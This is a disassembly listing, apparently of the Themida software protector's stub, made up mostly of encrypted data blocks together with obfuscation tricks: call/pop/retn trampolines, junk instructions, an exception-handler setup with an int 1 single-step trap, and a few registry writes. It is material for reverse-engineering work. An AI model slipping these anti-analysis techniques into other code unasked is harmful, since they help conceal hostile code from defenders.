		dd 85A9BA07h, 95FF727Bh, 7FA177Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 67C35646h, 0ADFF8335h, 0E5EF819Ah
		dd 8D3CDB93h, 0FA0B2985h, 0A6E98107h, 8B1E5509h, 6A1840h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 6D567CC3h, 0EDD4172h, 8529CF8Bh, 7FA1499h, 5D9B509h
		dd 85C707FAh, 7FA11D5h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5DDC4B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DDC4B	proc near		; CODE XREF: Themida_:005DDC43p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5DDC4B	endp

; ---------------------------------------------------------------------------
		db 92h
		dd 6689D57Fh, 83BE53B9h, 0FA3569BDh, 840F0007h,	76h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0E5C35747h, 49953160h
		dd 0B207FA12h, 8C3D61F9h, 0F000000h, 1BA83h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 12A5360h, 0FA18B995h, 31E907h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 983D4BC3h
		dd 0F000000h, 16A83h, 718D2B00h, 5707FA18h, 8D59D68Bh
		dd 5B243B85h, 298D8900h, 0FF07FA21h, 8D18B2D0h,	5B1E8E85h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0FFEDA472h, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0DD695566h
		dd 3830FE6h, 0F000000h,	8960D0BFh, 0FA2D2D8Dh, 35BD8B07h
		dd 6107FA13h, 9D89C08Bh, 7FA2D8Dh, 16D1BD83h, 750007FAh
		dd 35BD8309h, 7FA35h, 53501974h, 0C6B8C08Bh, 8900000Bh
		dd 0FA1E2D85h, 0DA9D8D07h, 0FF07FD3Fh, 83585BD3h, 0FA3535BDh
		dd 17740007h, 0C6B85350h, 8900000Bh, 0FA1E2D85h, 0C99D8D07h
		dd 0FF07FD3Ch, 56585BD3h, 0EE12D981h, 895915AEh, 0FA1901BDh
		dd 8BC08B07h, 0FA041D8Dh, 0FFF88307h, 5F850Fh, 12E90000h
		dd 49000000h, 0CDDBD521h, 1621D88Ah, 374D21D1h,	11F76C32h
		dd 8D85C7DDh, 7FA17h, 8A000000h, 0C98D8BCFh, 0E907FA07h
		dd 12Eh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	78C35242h, 0CDB3CA81h, 21E92343h, 0E9000000h, 5
		dd 5F78E59Eh, 1F88376h,	0E850Fh, 8D8B0000h, 7FA1389h, 11EE9h
		dd 39E18000h, 0FFF1A1E9h, 66F781FFh, 8B1144EEh,	52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 4A832AD3h, 0ABAF2A07h, 13E8BE09h, 79000000h,	0C2BAA86Fh
		dd 0FCEB6D19h, 2E8EB5E6h, 8D28BA4Eh, 0D68B7650h, 0D1BD8359h
		dd 7FA16h, 0BD830975h, 7FA3535h, 50197400h, 0B8C08B53h
		dd 7DDh, 1E2D8589h, 9D8D07FAh, 7FD3FDAh, 585BD3FFh, 3535BD83h
		dd 740007FAh, 0B8535017h, 7DDh,	1E2D8589h, 9D8D07FAh, 7FD3CC9h
		dd 585BD3FFh, 8199589h,	9D8907FAh, 7FA1541h, 1701BD8Bh
		dd 0C08B07FAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	74C35747h, 5716BF8Eh, 5E7D54C9h, 0BD8BFC31h, 7FA1411h
		dd 214D9D29h, 34E907FAh, 80000002h, 858DA9E5h, 7FD91BBh
		dd 5E957h, 0C6B10000h, 5F694A05h, 2B0D8D03h, 858907FAh
		dd 7FD93B3h, 31F5BD33h,	0B50107FAh, 7FA2535h, 43E9h, 0DD8D8B00h
		dd 8D07FA1Dh, 0FD8FC385h, 99BD8B07h, 4007FA0Ch,	0B38589F5h
		dd 6A07FD93h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 71CBC353h, 8A95C9A6h, 1A2960B0h
		dd 69C6B966h, 858D346Ah, 7FA1421h, 0B3B5FF50h, 6A07FD93h
		dd 0B995FF00h, 8307FA00h, 840F07F8h, 168h, 0F6DB8C66h
		dd 850F04C3h, 102h, 157185C6h, 685607FAh, 9CA8B852h, 1229B5FFh
		dd 858D07FAh, 7FA3B93h,	46AD0FFh, 100068h, 6A646A00h, 89D0FF00h
		dd 0FD942685h, 7185C607h, 4707FA15h, 18AC9B68h,	29B5FFECh
		dd 8D07FA12h, 0FA3B9385h, 0FFD0FF07h, 0C6F08BD0h, 0FA157185h
		dd 61684F07h, 0FFC62F26h, 0FA1F3DB5h, 93858D07h, 0FF07FA3Bh
		dd 229D8DD0h, 5307FD94h, 0FF56286Ah, 75C085D0h,	7185C600h
		dd 4107FA15h, 87649868h, 3DB5FFDBh, 8D07FA1Fh, 0FA3B9385h
		dd 89D0FF07h, 0FD943F85h, 7185C607h, 4C07FA15h,	0A4E7A468h
		dd 3DB5FF80h, 8D07FA1Fh, 0FA3B9385h, 8BD0FF07h,	0FD94269Dh
		dd 45B8D07h, 2B9D8D53h,	5307FD94h, 0D0FF006Ah, 94269D8Bh
		dd 3C707FDh, 1,	20C43C7h, 8B000000h, 0FA18A99Dh, 6185C707h
		dd 7FA12h, 6A000000h, 6A006A00h, 269D8B00h, 5307FD94h
		dd 0B5FF006Ah, 7FD9422h, 943F95FFh, 85C607FDh, 7FA1571h
		dd 0F7976845h, 0B5FF92A5h, 7FA21DDh, 3B93858Dh,	0D0FF07FAh
		dd 26A006Ah, 8C66D0FFh,	4C3F6DBh, 9D8B3275h, 7FD9426h
		dd 0C43C7h, 6A000000h, 8B006A00h, 0FD94269Dh, 6A5307h
		dd 9422B5FFh, 95FF07FDh, 7FD943Fh, 9422B5FFh, 95FF07FDh
		dd 7FA1EB1h, 95FF006Ah,	7FA1C0Dh, 3793EF81h, 6A0C91h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0F00E3DC3h, 840162CFh, 0B58529A6h, 8D07FA2Bh, 0FDC82F85h
		dd 0D38B6607h, 81605650h, 2DFBFBEAh, 39958949h,	6107FA11h
		dd 35FF645Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5DE193
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DE193	proc near		; CODE XREF: Themida_:005DE18Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5DE193	endp

; ---------------------------------------------------------------------------
		db 0D9h
		dd 0CAC265BBh, 800F9Eh,	64000000h, 2589h, 820F0000h, 1Ah
		dd 10E8h, 174D8100h, 8BC6BF3Eh,	444AAE85h, 2AEA3A5Eh, 4DBA66B4h
		dd 0DD805F23h, 0EDBD83D1h, 7FA09h, 91840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 881676C3h, 2F9C2F5Ch, 0E9BD8B5Ch, 8307FA11h,	0FA27ADBDh
		dd 850F0107h, 5Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 54C35646h, 5FF551A7h,	983FBD80h, 0F0007FDh
		dd 2E85h, 18FE900h, 800F0000h, 1Dh, 12E8h, 92EF8C00h, 0A9D423AFh
		dd 0B357B0D7h, 0AD442F54h, 0BAF1EF81h, 5FE362D4h, 8EEF8159h
		dd 3360D811h, 50006ADBh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 6A659382h, 0EBB977FCh, 144A2E8h
		dd 0FA0925BDh, 8BC03307h, 3F0F40FAh, 8F640B07h,	5, 4C48300h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8BC35747h
		dd 5E453A5Bh, 0B25958Bh, 0BD8B07FAh, 7FA0A41h, 0BB1B531h
		dd 0FB8307FAh, 0D840FFFh, 89000000h, 0FA352D95h, 0D5E907h
		dd 0CB50000h, 79E9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 955B5E7h, 0FA18B98Dh
		dd 48F0F07h, 66000000h,	8B215FBFh, 0C70C244Ch, 0A481h
		dd 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h,	550C245Ch
		dd 0E8h, 0ED815D00h, 7FDC851h, 0B8838Bh, 858D0000h, 7FDC8D9h
		dd 0B88389h, 335D0000h,	950BC3C0h, 7FA3505h, 65D9D29h
		dd 858D07FAh, 7FDC847h,	26D5B589h, 0E95007FAh, 6, 0D506A7D4h
		dd 0FF64C25Ah, 35h, 0D98D8B00h,	6407FA0Ch, 2589h, 0B9F50000h
		dd 0Ah,	55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h
		dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h,	0FA1E7585h
		dd 107h, 58F6400h, 0
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	edx, ebx
		or	edx, 3F486946h
		mov	eax, eax
		mov	edi, [ebp+7FA2DBDh]
		cmp	dword ptr [ebp+7FA16D1h], 0
		jnz	short loc_5DE409
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_5DE422


loc_5DE409:				; CODE XREF: Themida_:005DE3FEj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+7FA112Dh],	eax
		lea	ebx, [ebp+7FD4041h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5DE422:				; CODE XREF: Themida_:005DE407j
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_5DE442
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+7FA112Dh],	eax
		lea	ebx, [ebp+7FD3CE2h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5DE442:				; CODE XREF: Themida_:005DE429j
		mov	ecx, [ebp+7FA1C99h]
		mov	edx, [ebp+7FA1B31h]
		mov	eax, eax
		jmp	loc_5DE59C
; ---------------------------------------------------------------------------
		db 4, 2	dup(0)
		dd 392E3100h, 3031h, 6 dup(0)
		db    0
		db 2 dup(0), 45h
aXceptionInform	db 'xception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_5DE59C:				; CODE XREF: Themida_:005DE450j
		cmp	dword ptr [ebp+7FA2771h], 0
		jz	loc_5DE6D6
		lea	eax, [ebp+7FD3AF9h]
		push	eax
		lea	eax, [ebp+7FD3A63h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FD3B09h]
		lea	eax, [ebp+7FDC951h]
		push	eax
		lea	eax, [ebp+7FDC95Bh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FD3A77h]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA3335h]
		lea	eax, [ebp+7FDC951h]
		push	eax
		lea	eax, [ebp+7FDC95Fh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FD3A89h]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA3335h]
		lea	eax, [ebp+7FDC951h]
		push	eax
		lea	eax, [ebp+7FDC96Bh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FD3AD6h]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA3335h]
		lea	eax, [ebp+7FDC951h]
		push	eax
		lea	eax, [ebp+7FDC973h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FD3AF4h]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA3335h]
		lea	eax, [ebp+7FDC951h]
		push	eax
		lea	eax, [ebp+7FDC96Fh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FD3ADDh]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA3335h]
		lea	eax, [ebp+7FDC951h]
		push	eax
		lea	eax, [ebp+7FDC963h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FD3AE5h]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA3335h]
		lea	eax, [ebp+7FDC951h]
		push	eax
		lea	eax, [ebp+7FDC967h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FD3AECh]
		push	eax
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA3335h]
		push	dword ptr [ebp+7FD3AF9h]
		call	dword ptr [ebp+7FA25EDh]
		jmp	loc_5DE778
; ---------------------------------------------------------------------------


loc_5DE6D6:				; CODE XREF: Themida_:005DE5A3j
		cmp	dword ptr [ebp+7FA197Dh], 0
		jz	loc_5DE778
		cmp	dword ptr [ebp+7FA27ADh], 0
		jnz	loc_5DE701
		mov	edx, [ebp+7FA136Dh]
		add	edx, 1CF8h
		jmp	loc_5DE710
; ---------------------------------------------------------------------------


loc_5DE701:				; CODE XREF: Themida_:005DE6EAj
		lea	edx, [ebp+7FA0B29h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_5DE710:				; CODE XREF: Themida_:005DE6FCj
		mov	[ebp+7FA3435h],	edx
		cmp	dword ptr [ebp+7FA3435h], 0
		jz	loc_5DE778
		mov	ebx, [ebp+7FA3435h]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+7FDC95Bh],	eax
		mov	ebx, [ebp+7FA3435h]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+7FDC95Fh],	eax
		mov	ebx, [ebp+7FA3435h]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+7FDC96Bh],	eax
		mov	ebx, [ebp+7FA3435h]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+7FDC96Fh],	eax
		mov	ebx, [ebp+7FA3435h]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+7FDC963h],	eax


loc_5DE778:				; CODE XREF: Themida_:005DE6D1j
					; Themida_:005DE6DDj ...
		cmp	dword ptr [ebp+7FA2771h], 0
		jnz	loc_5DE792
		cmp	dword ptr [ebp+7FA197Dh], 0
		jz	loc_5DE7FA


loc_5DE792:				; CODE XREF: Themida_:005DE77Fj
		push	dword ptr [ebp+7FDC973h]
		push	dword ptr [ebp+7FDC967h]
		push	dword ptr [ebp+7FDC963h]
		push	dword ptr [ebp+7FDC96Fh]
		push	dword ptr [ebp+7FDC96Bh]
		push	dword ptr [ebp+7FDC95Fh]
		push	dword ptr [ebp+7FDC95Bh]
		lea	eax, [ebp+7FDC955h]
		push	eax
		lea	eax, [ebp+7FDC98Dh]
		push	eax
		lea	eax, [ebp+7FA2F19h]
		push	eax
		call	dword ptr [ebp+7FA3345h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+7FDC977h]
		push	eax
		lea	eax, [ebp+7FA2F19h]
		push	eax
		push	0
		call	dword ptr [ebp+7FA00B9h]
		push	1
		call	dword ptr [ebp+7FA1C0Dh]


loc_5DE7FA:				; CODE XREF: Themida_:005DE78Cj
		mov	eax, ecx
		pusha
		jmp	loc_5DE811
; ---------------------------------------------------------------------------
		dw 0CAF4h
		db 90h
		db 0D5h, 4, 78h
		dd 76E8F3A4h, 14F44C5Dh
		db 0C7h
; ---------------------------------------------------------------------------


loc_5DE811:				; CODE XREF: Themida_:005DE7FDj
		mov	eax, eax
		cmp	dword ptr [ebp+7FA16D1h], 0
		jnz	short loc_5DE825
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_5DE83E


loc_5DE825:				; CODE XREF: Themida_:005DE81Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+7FA1E2Dh],	eax
		lea	ebx, [ebp+7FD3FDAh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5DE83E:				; CODE XREF: Themida_:005DE823j
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_5DE85E
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+7FA1E2Dh],	eax
		lea	ebx, [ebp+7FD3CC9h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5DE85E:				; CODE XREF: Themida_:005DE845j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5DE86B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DE86B	proc near		; CODE XREF: Themida_:005DE863p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5DE86B	endp

; ---------------------------------------------------------------------------
		db 0F8h
		dd 0CD6BBAE3h, 0A906F31Ah, 0F6BF0F81h, 0BD83D68Bh, 7FA09EDh
		dd 59840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 862C355h, 0E91E1ED9h
		dd 2DAh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	45C35646h, 0FED19DE5h, 0BE9FFh,	76780000h, 1FBCEBADh
		dd 92DC2B72h, 0CABF0F8Eh, 6ADF8Ch, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 34342EC3h, 32BCD0CAh
		dd 0FE9h, 1CDE3000h, 0D89D029Dh, 0EAA2D60Ah, 0BED1DDE2h
		dd 4C7F766h, 63850F00h,	6A000002h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 93BAC352h
		dd 0DE9B58DDh, 5E847995h, 10E9h, 8279D00h, 0DB339AE4h
		dd 5D5E71F3h, 9A85AF64h, 69BD836Ah, 7FA35h, 55850Fh, 830F0000h
		dd 0
; ---------------------------------------------------------------------------
		sbb	ecx, 6407C30Bh
		jmp	loc_5DEB96
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5DE996
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DE996	proc near		; CODE XREF: Themida_:005DE98Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5DE996	endp

; ---------------------------------------------------------------------------
		dw 2941h
		dd 0F310BE9h, 58Ah, 3C26BA00h, 14E96E73h, 46000000h, 0A0A40774h
		dd 4BB56504h, 0EBFBF09Ah, 8AA81F72h, 0BF932555h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5DE9DF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DE9DF	proc near		; CODE XREF: Themida_:005DE9D7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5DE9DF	endp

; ---------------------------------------------------------------------------
		adc	[ebp+7Ch], ch
		shr	dword ptr [edi-68257D8h], 1
		mov	cx, dx
		cmc
		lea	ebx, [ebp+7FDD031h]
		jnp	loc_5DEA0A
		mov	ch, al


loc_5DEA0A:				; CODE XREF: Themida_:005DEA02j
		push	eax
		jmp	loc_5DEA1E
; ---------------------------------------------------------------------------
		dd 8E0C88E6h, 322D39E7h, 0B1352D7Ah
		db 71h,	0ACh
; ---------------------------------------------------------------------------


loc_5DEA1E:				; CODE XREF: Themida_:005DEA0Bj
		mov	[esp], ebx
		mov	cx, 9C0h
		push	large dword ptr	fs:0
		pusha
		mov	edx, 3C7B182Eh
		xor	bx, 0C5ECh
		popa
		mov	large fs:0, esp
		and	ch, 0BEh
		mov	eax, esp
		movzx	ecx, di
		int	1		; - internal hardware -	SINGLE-STEP
					; generated at end of each machine instruction if TF bit in FLAGS is set
		jmp	short $+2
		push	0
		push	esi
		call	sub_5DEA56
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DEA56	proc near		; CODE XREF: Themida_:005DEA4Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5DEA56	endp

; ---------------------------------------------------------------------------
		dw 4632h
; ---------------------------------------------------------------------------
		adc	esi, edi
		sub	dh, 0D6h
		movsx	esi, bx
		jg	$+6
		push	0
		push	ebx
		call	sub_5DEA81
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DEA81	proc near		; CODE XREF: Themida_:005DEA79p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5DEA81	endp

; ---------------------------------------------------------------------------
		db 2Eh,	6Ch, 0D3h
		dd 8F642247h, 5, 0D1816600h, 0AE87427h,	27000000h, 2EFDB280h
		dd 0EE1A5643h, 5A526028h, 0EE9h, 48486A00h, 8478E4B6h
		dd 7797A5AFh, 61FD9285h, 4C4835Ah, 0C00B70B5h, 0C0840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 8614D5C3h, 0DEE669B9h, 0E6B96118h, 8A1105C1h
		dd 0BFBD8DD1h, 8007FA72h, 1B88FD9h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0B36DC350h, 32CC29EAh, 0CD80E7FFh, 5C8B574Ch, 838B1024h
		dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h
		db 2 dup(0), 2
; ---------------------------------------------------------------------------


loc_5DEB53:				; CODE XREF: Themida_:005DEBA1j
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5DEB62
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DEB62	proc near		; CODE XREF: Themida_:005DEB5Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5DEB62	endp

; ---------------------------------------------------------------------------
		mov	ah, [eax-0F74D696h]
		jmp	loc_5DEB91
; ---------------------------------------------------------------------------
		xchg	esp, edi
		push	440D978Bh
		or	eax, [edx]
		retf
; ---------------------------------------------------------------------------
		db 0CEh
		dd 0F507FBFCh, 0D521495Dh
		db 0DBh
; ---------------------------------------------------------------------------


loc_5DEB91:				; CODE XREF: Themida_:005DEB78j
		sbb	dx, 0A5ECh


loc_5DEB96:				; CODE XREF: Themida_:005DE986j
		popa
		call	sub_5DEBA4
		pop	ebp
		cmpsd
		jns	short near ptr sub_5DEBA4+2
		inc	edi
		jg	short loc_5DEB53
		dec	edi

; =============== S U B	R O U T	I N E =======================================



sub_5DEBA4	proc near		; CODE XREF: Themida_:005DEB97p
					; Themida_:005DEB9Ej
		js	loc_5DEBAF
		mov	esi, 211F30A9h


loc_5DEBAF:				; CODE XREF: sub_5DEBA4j
		pop	ecx
		mov	eax, eax
		or	edx, 4A949C1h
		cmp	dword ptr [ebp+7FA16D1h], 0
		jnz	short loc_5DEBCA
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_5DEBE3


loc_5DEBCA:				; CODE XREF: sub_5DEBA4+1Bj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+7FA112Dh],	eax
		lea	ebx, [ebp+7FD4041h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5DEBE3:				; CODE XREF: sub_5DEBA4+24j
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_5DEC03
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+7FA112Dh],	eax
		lea	ebx, [ebp+7FD3CE2h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5DEC03:				; CODE XREF: sub_5DEBA4+46j
		push	0
		push	edx
		call	sub_5DEC0E
		and	[edx-3Dh], bl
sub_5DEBA4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5DEC0E	proc near		; CODE XREF: sub_5DEBA4+62p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5DEC0E	endp

; ---------------------------------------------------------------------------
		dw 6A7Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0A8FBC355h, 43F57536h, 60BB5E27h,	5890Fh
		dd 0F560000h, 665AD6B7h, 40A8DE81h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0D1B342C3h
		dd 2F2E9134h, 0C28BCDFEh, 5E8h,	58E1B900h, 0B866258Fh
		dd 66594F96h, 0C181D38Bh, 711Eh, 1C2768h, 805BF900h, 31FFD8E2h
		dd 8AB85FF5h, 813F85F1h, 948410F7h, 0DE91Dh, 0B58F0000h
		dd 8CB30F6Dh, 0C7EB2E15h, 81C5E8B8h, 0C224BF7h,	1792BE65h
		dd 0EF811343h, 57264D77h, 0C299B866h, 0DDA8157h, 8F44A8ABh
		dd 0FE801h, 0AF3B0000h,	885A1B72h, 9E8979F0h, 3CAA5D1Ch
		dd 50BE667Dh, 0E9835825h, 0BBD68004h, 0F01EB83h, 0FFFF9985h
		dd 0EBC28BFFh, 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FDD22Ch
		popa
		retn	4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFFE6h, 8C26160h, 0FFF6E900h, 6160FFFFh,	0E90008C2h
		dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 6160FFFFh,	0E90008C2h
		dd 0FFFFFFF6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DED70:				; CODE XREF: Themida_:005DED73j
		pusha
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5DED70
; ---------------------------------------------------------------------------
		mov	esi, [ebp+7FDD264h]
		and	esi, 0FFFFF000h
		jmp	loc_5DED94
; ---------------------------------------------------------------------------


loc_5DED89:				; CODE XREF: Themida_:005DED9Aj
		call	sub_5DEDA7
		add	esi, 1000h


loc_5DED94:				; CODE XREF: Themida_:005DED84j
		cmp	esi, [ebp+7FDD268h]
		jbe	loc_5DED89
		mov	eax, cr3
		mov	cr3, eax
		iret

; =============== S U B	R O U T	I N E =======================================



sub_5DEDA7	proc near		; CODE XREF: Themida_:loc_5DED89p
		pusha
		popa
		retn
sub_5DEDA7	endp

; ---------------------------------------------------------------------------


loc_5DEDAA:				; CODE XREF: Themida_:005DEDD6j
		push	eax
		mov	ax, cs
		and	al, 3
		or	al, al
		jz	loc_5DEDD1
		push	eax
		push	ebx
		mov	ebx, 2
		mov	eax, [ebp+7FA3435h]


loc_5DEDC5:				; CODE XREF: Themida_:005DEDC9j
		xchg	bl, [eax]
		or	bl, bl
		jnz	loc_5DEDC5
		pop	ebx
		pop	eax


loc_5DEDD1:				; CODE XREF: Themida_:005DEDB2j
		pop	eax
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5DEDAA
; ---------------------------------------------------------------------------
		db 50h
		dd 82474FFh, 1C2995FFh,	0F5007FAh, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	0FA343585h, 0C607h, 2404FF58h
		dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh,	840FDB0Ah
		dd 38h,	2BBh, 35858B00h, 8607FA34h, 0FDB0A18h, 0FFFFF685h
		dd 0D85C7FFh, 7FA09h, 8B000000h, 8B082444h, 100098h, 988900h
		dd 8B000010h, 0E9188918h, 0Ah, 90D85C7h, 10007FAh, 5B580000h
		dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h
		dd 763AB7A1h, 1B101B0h,	13E9h, 0C88AAC00h, 0C332C302h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC90Ah, 0FFFFFFE5h
		dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h,	0E9C03308h
		dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h
		dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h
